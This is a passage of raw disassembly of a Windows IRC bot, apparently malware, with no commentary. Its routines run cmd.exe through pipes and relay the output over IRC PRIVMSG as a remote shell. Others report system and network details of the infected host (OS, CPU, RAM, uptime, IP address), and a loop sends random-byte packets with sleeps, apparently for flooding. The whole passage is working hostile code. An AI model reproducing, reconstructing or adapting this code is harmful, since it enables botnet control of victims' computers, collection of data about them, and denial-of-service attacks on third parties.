		push	eax
		call	dword_43C5D8
		cmp	eax, edi
		jnz	short loc_40A39D
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B5C0
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A380
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412BD1
		add	esp, 14h


loc_40A380:				; CODE XREF: sub_40A2BF+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B078
		push	[ebp+var_20]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40A39D:				; CODE XREF: sub_40A2BF+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40A3A7
; ---------------------------------------------------------------------------


loc_40A3A4:				; CODE XREF: sub_40A2BF+6Ej
		lea	eax, [ebp+arg_0]


loc_40A3A7:				; CODE XREF: sub_40A2BF+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40A3C2
		call	sub_415372
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40A3C5
; ---------------------------------------------------------------------------


loc_40A3C2:				; CODE XREF: sub_40A2BF+F0j
		push	[ebp+var_24]


loc_40A3C5:				; CODE XREF: sub_40A2BF+101j
		call	dword_43C554
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40A3D7
		mov	[ebp+var_24], esi


loc_40A3D7:				; CODE XREF: sub_40A2BF+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40A3E4
		mov	[ebp+var_24], eax


loc_40A3E4:				; CODE XREF: sub_40A2BF+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40A3F8
		mov	[ebp+var_28], esi


loc_40A3F8:				; CODE XREF: sub_40A2BF+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40A471


loc_40A3FF:				; CODE XREF: sub_40A2BF+158j
		call	sub_415372
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40A3FF
		jmp	short loc_40A471
; ---------------------------------------------------------------------------


loc_40A41B:				; CODE XREF: sub_40A2BF+1B5j
		dec	[ebp+var_30]
		push	0Bh
		pop	esi


loc_40A421:				; CODE XREF: sub_40A2BF+192j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_415372
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_43C5B8
		push	[ebp+var_28]
		call	dword_421060	; Sleep
		dec	esi
		jnz	short loc_40A421
		cmp	[ebp+var_24], edi
		jnz	short loc_40A471
		call	sub_415372
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_43C554
		mov	[ebp+var_E], ax


loc_40A471:				; CODE XREF: sub_40A2BF+13Ej
					; sub_40A2BF+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_40A41B
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42B580
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40A4B9
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_412BD1
		add	esp, 14h


loc_40A4B9:				; CODE XREF: sub_40A2BF+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40B078
		push	[ebp+var_20]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
sub_40A2BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A4D6	proc near		; CODE XREF: sub_40A506+2Ap
					; sub_40A53E+7Ep ...
		mov	eax, dword_43C894
		push	esi
		mov	esi, dword_42106C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A4EA
		push	eax
		call	esi	; CloseHandle


loc_40A4EA:				; CODE XREF: sub_40A4D6+Fj
		mov	eax, dword_43C89C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A4F7
		push	eax
		call	esi	; CloseHandle


loc_40A4F7:				; CODE XREF: sub_40A4D6+1Cj
		mov	eax, dword_43C890
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A504
		push	eax
		call	esi	; CloseHandle


loc_40A504:				; CODE XREF: sub_40A4D6+29j
		pop	esi
		retn
sub_40A4D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A506	proc near		; CODE XREF: sub_40B459+14Ap
					; sub_40CD3A+446Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_415B10
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43C898
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_40A539
		call	sub_40A4D6
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A539:				; CODE XREF: sub_40A506+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40A506	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A53E	proc near		; CODE XREF: sub_40A5C5+D3p
					; sub_40A5C5+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43B188
		push	[ebp+arg_4]
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A581
		push	7D0h
		call	dword_421060	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_415316
		add	esp, 10h
		jmp	short loc_40A598
; ---------------------------------------------------------------------------


loc_40A581:				; CODE XREF: sub_40A53E+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_40A598:				; CODE XREF: sub_40A53E+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		test	eax, eax
		jg	short loc_40A5C1
		call	sub_40A4D6


loc_40A5C1:				; CODE XREF: sub_40A53E+7Cj
		xor	eax, eax
		leave
		retn
sub_40A53E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; DATA XREF: sub_40A71A+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43C8A0


loc_40A5DD:				; CODE XREF: sub_40A5C5+79j
					; sub_40A5C5+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43C894
		call	dword_421000	; PeekNamedPipe
		test	eax, eax
		jz	loc_40A6AB
		cmp	[ebp+var_4], edi
		jnz	short loc_40A640
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43C890
		call	dword_4210FC	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40A636
		cmp	[ebp+var_8], 103h
		jnz	loc_40A6CF


loc_40A636:				; CODE XREF: sub_40A5C5+62j
		push	0Ah
		call	dword_421060	; Sleep
		jmp	short loc_40A5DD
; ---------------------------------------------------------------------------


loc_40A640:				; CODE XREF: sub_40A5C5+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40A657


loc_40A647:				; CODE XREF: sub_40A5C5+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40A6A5
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40A647


loc_40A657:				; CODE XREF: sub_40A5C5+80j
		mov	[ebp+var_4], esi


loc_40A65A:				; CODE XREF: sub_40A5C5+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43C894
		call	dword_421068	; ReadFile
		test	eax, eax
		jz	short loc_40A6F7
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43C8D4
		call	sub_40A53E
		add	esp, 0Ch
		jmp	loc_40A5DD
; ---------------------------------------------------------------------------


loc_40A6A5:				; CODE XREF: sub_40A5C5+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A6AB:				; CODE XREF: sub_40A5C5+45j
		push	offset dword_42B690
		push	ebx
		push	dword_43C8D4
		call	sub_40A53E
		push	[ebp+arg_0]
		call	sub_4150F0
		add	esp, 10h
		push	1
		call	dword_421048	; ExitThread


loc_40A6CF:				; CODE XREF: sub_40A5C5+6Bj
		call	sub_40A4D6
		push	offset dword_42B654
		push	ebx
		push	dword_43C8D4
		call	sub_40A53E
		push	[ebp+arg_0]
		call	sub_4150F0
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread


loc_40A6F7:				; CODE XREF: sub_40A5C5+C3j
		push	offset dword_42B610
		push	ebx
		push	dword_43C8D4
		call	sub_40A53E
		push	[ebp+arg_0]
		call	sub_4150F0
		add	esp, 10h
		push	edi
		call	dword_421048	; ExitThread
sub_40A5C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A71A	proc near		; CODE XREF: sub_40B459+99p
					; sub_40CD3A+5167p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40A4D6
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43C60C
		test	eax, eax
		jz	loc_40A814
		lea	eax, [ebp+var_1C]
		mov	edi, dword_421108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A814
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40A814
		mov	edi, dword_421104
		push	3
		push	esi
		push	esi
		push	offset dword_43C898
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_421100	; DuplicateHandle
		test	eax, eax
		jz	short loc_40A814
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_415390
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43B188
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jnz	short loc_40A81C


loc_40A814:				; CODE XREF: sub_40A71A+2Fj
					; sub_40A71A+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40A8CA
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A71A+F8j
		push	[ebp+var_4]
		mov	edi, dword_42106C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43C894, eax
		mov	eax, [ebp+var_8]
		mov	dword_43C89C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43C890, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43C8D4, eax
		jz	short loc_40A856
		push	[ebp+arg_4]
		jmp	short loc_40A857
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A71A+135j
		push	ebx


loc_40A857:				; CODE XREF: sub_40A71A+13Aj
		push	offset dword_43C8A0
		call	sub_415316
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B720
		call	sub_414DDA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4416D0[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40A5C5
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		cmp	eax, esi


loc_40A899:				; DATA XREF: seg001:00424F14o
					; seg001:00424F58o ...
		mov	dword_4416DC[edi], eax
		jnz	short loc_40A8C8
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B6D8
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B078
		add	esp, 10h


loc_40A8C8:				; CODE XREF: sub_40A71A+185j
		xor	eax, eax


loc_40A8CA:				; CODE XREF: sub_40A71A+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A71A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8CF	proc near		; CODE XREF: sub_407075+74p
					; sub_40A9D8+217p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_43C8D8
		push	32h
		push	esi
		call	sub_41588A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40A8CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A922	proc near		; CODE XREF: sub_40A9D8+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_40A92A:				; CODE XREF: sub_40A922+2Fj
					; sub_40A922+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_421060	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_417180
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_40A92A
		jb	short loc_40A959
		cmp	ebx, edi
		ja	short loc_40A92A


loc_40A959:				; CODE XREF: sub_40A922+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_417100
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40A9CC
		jb	short loc_40A978
		cmp	edi, 50h
		jnb	short loc_40A97D


loc_40A978:				; CODE XREF: sub_40A922+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40A97D:				; CODE XREF: sub_40A922+54j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A988
		cmp	edi, 47h
		jnb	short loc_40A98D


loc_40A988:				; CODE XREF: sub_40A922+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40A98D:				; CODE XREF: sub_40A922+64j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A998
		cmp	edi, 37h
		jnb	short loc_40A99D


loc_40A998:				; CODE XREF: sub_40A922+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40A99D:				; CODE XREF: sub_40A922+74j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A9A8
		cmp	edi, 26h
		jnb	short loc_40A9AD


loc_40A9A8:				; CODE XREF: sub_40A922+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40A9AD:				; CODE XREF: sub_40A922+84j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A9B8
		cmp	edi, 1Eh
		jnb	short loc_40A9BD


loc_40A9B8:				; CODE XREF: sub_40A922+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40A9BD:				; CODE XREF: sub_40A922+94j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A9C8
		cmp	edi, 0Ah
		jnb	short loc_40A9CC


loc_40A9C8:				; CODE XREF: sub_40A922+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40A9CC:				; CODE XREF: sub_40A922+4Dj
					; sub_40A922+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40A922	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9D8	proc near		; CODE XREF: sub_40CD3A+53E3p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43B188
		mov	[ebp+var_CC], 94h
		call	dword_42110C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AA5F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AA3B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AA25
		mov	[ebp+var_4], offset a95	; "95"


loc_40AA25:				; CODE XREF: sub_40A9D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40AADA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40AAAB
; ---------------------------------------------------------------------------


loc_40AA3B:				; CODE XREF: sub_40A9D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AA4D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA4D:				; CODE XREF: sub_40A9D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AA9B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA5F:				; CODE XREF: sub_40A9D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AA9B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AA79
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA79:				; CODE XREF: sub_40A9D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AA8B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA8B:				; CODE XREF: sub_40A9D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AAA2


loc_40AA9B:				; CODE XREF: sub_40A9D8+7Cj
					; sub_40A9D8+8Ej
		mov	[ebp+var_4], offset dword_42B870


loc_40AAA2:				; CODE XREF: sub_40A9D8+73j
					; sub_40A9D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40AADA


loc_40AAAB:				; CODE XREF: sub_40A9D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40AADA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B868
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40AADA:				; CODE XREF: sub_40A9D8+54j
					; sub_40A9D8+D1j ...
		mov	ax, word_42B864
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43C440
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_40AB13
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40AB13:				; CODE XREF: sub_40A9D8+12Cj
		push	[ebp+arg_4]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43C594
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_43C50C
		cmp	eax, ebx
		jz	short loc_40AB3C
		push	dword ptr [eax]
		jmp	short loc_40AB41
; ---------------------------------------------------------------------------


loc_40AB3C:				; CODE XREF: sub_40A9D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40AB41:				; CODE XREF: sub_40A9D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_415316
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_421080	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_421110	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4171E8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_40C21C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A8CF
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40A922
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41588A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC8C	proc near		; CODE XREF: sub_40CD3A+4388p
					; sub_40CD3A+5411p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		cmp	dword_43C638, 0
		jnz	short loc_40AD00
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43C424
		test	eax, eax
		jnz	short loc_40ACE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42B8E4
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40ACE1:				; CODE XREF: sub_40AC8C+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_40ACF9
		push	offset dword_42B8DC


loc_40ACEF:				; CODE XREF: sub_40AC8C+72j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_40AD1F
; ---------------------------------------------------------------------------


loc_40ACF9:				; CODE XREF: sub_40AC8C+5Cj
		push	offset dword_42B8D8
		jmp	short loc_40ACEF
; ---------------------------------------------------------------------------


loc_40AD00:				; CODE XREF: sub_40AC8C+28j
		mov	esi, offset off_42B8D4
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_415316
		add	esp, 10h


loc_40AD1F:				; CODE XREF: sub_40AC8C+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41588A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AC8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD52	proc near		; DATA XREF: sub_40CD3A+459Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
